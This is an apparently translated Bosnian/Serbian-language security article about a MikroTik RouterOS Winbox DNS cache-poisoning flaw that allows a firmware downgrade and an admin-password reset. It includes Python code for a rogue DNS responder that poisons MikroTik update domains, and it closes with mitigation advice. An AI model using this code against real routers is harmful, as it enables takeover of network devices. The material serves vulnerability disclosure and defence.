Mogućnost daljinskog degradiranja uređaja zasnovanih na RouterOS-u (Mikrotik) ugrožava stotine hiljada mrežnih uređaja. Ranjivost se odnosi na trovanje DNS keš memorije Winbox protokola i omogućava vam da preuzmete zastarjeli (sa zadanim poništavanjem lozinke) ili modificirani firmver na uređaj.
Detalji ranjivosti
RouterOS terminal podržava naredbu rješavanja za DNS pretraživanja.
Ovim zahtjevom upravlja binarni razrješavač. Resolver je jedan od mnogih binarnih datoteka koje su povezane na RouterOS-ov Winbox protokol. Na visokom nivou, "poruke" poslane na Winbox port mogu se usmjeriti na različite binarne datoteke u RouterOS-u na osnovu šeme numeriranja zasnovane na nizu.
Funkcija DNS servera je podrazumevano onemogućena u RouterOS-u.
Međutim, čak i kada je funkcija servera onemogućena, ruter održava sopstvenu DNS keš memoriju.
Kada napravimo zahtjev koristeći winbox_dns_request poput example.com, ruter će keširati rezultat.
S obzirom da možemo odrediti DNS server preko kojeg treba da ide zahtjev, trivijalno je unijeti pogrešne adrese. Na primjer, možete konfigurirati implementaciju DNS servera iz
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
Sada ako koristite Winbox za pretraživanje example.com, možete vidjeti da je DNS keš rutera zatrovan.
Naravno, trovanje example.com nije od velike koristi, jer ga ruter zapravo neće koristiti. Međutim, ruter treba da pristupi upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com i download.mikrotik.com. A zahvaljujući još jednoj grešci, moguće ih je sve otrovati odjednom.
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("download.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
Ruter traži jedan grant, a mi vraćamo pet. Ruter pogrešno kešira sve ove odgovore.
Očigledno, ovaj napad je također koristan ako ruter djeluje kao DNS server, jer omogućava napad na klijente rutera.
Takođe, ovaj napad omogućava iskorištavanje ozbiljnije ranjivosti: degradiranje ili vraćanje verzije RouterOS-a. Napadač ponovo kreira logiku servera za ažuriranje, uključujući dnevnik promjena, i prisiljava RouterOS da prihvati zastarjelu (ranjivu) verziju kao ažuriranu. Opasnost ovdje leži u činjenici da kada “nadogradite” verziju, administratorska lozinka se resetuje na “podrazumevanu” vrijednost – napadač se može prijaviti sa praznom lozinkom!
Napad je prilično djelotvoran, uprkos tome
zaštita
Jednostavno onemogućavanje Winboxa pomaže u zaštiti od ovih napada. Unatoč pogodnostima administracije kroz Winbox, bolje je koristiti SSH protokol.
izvor: www.habr.com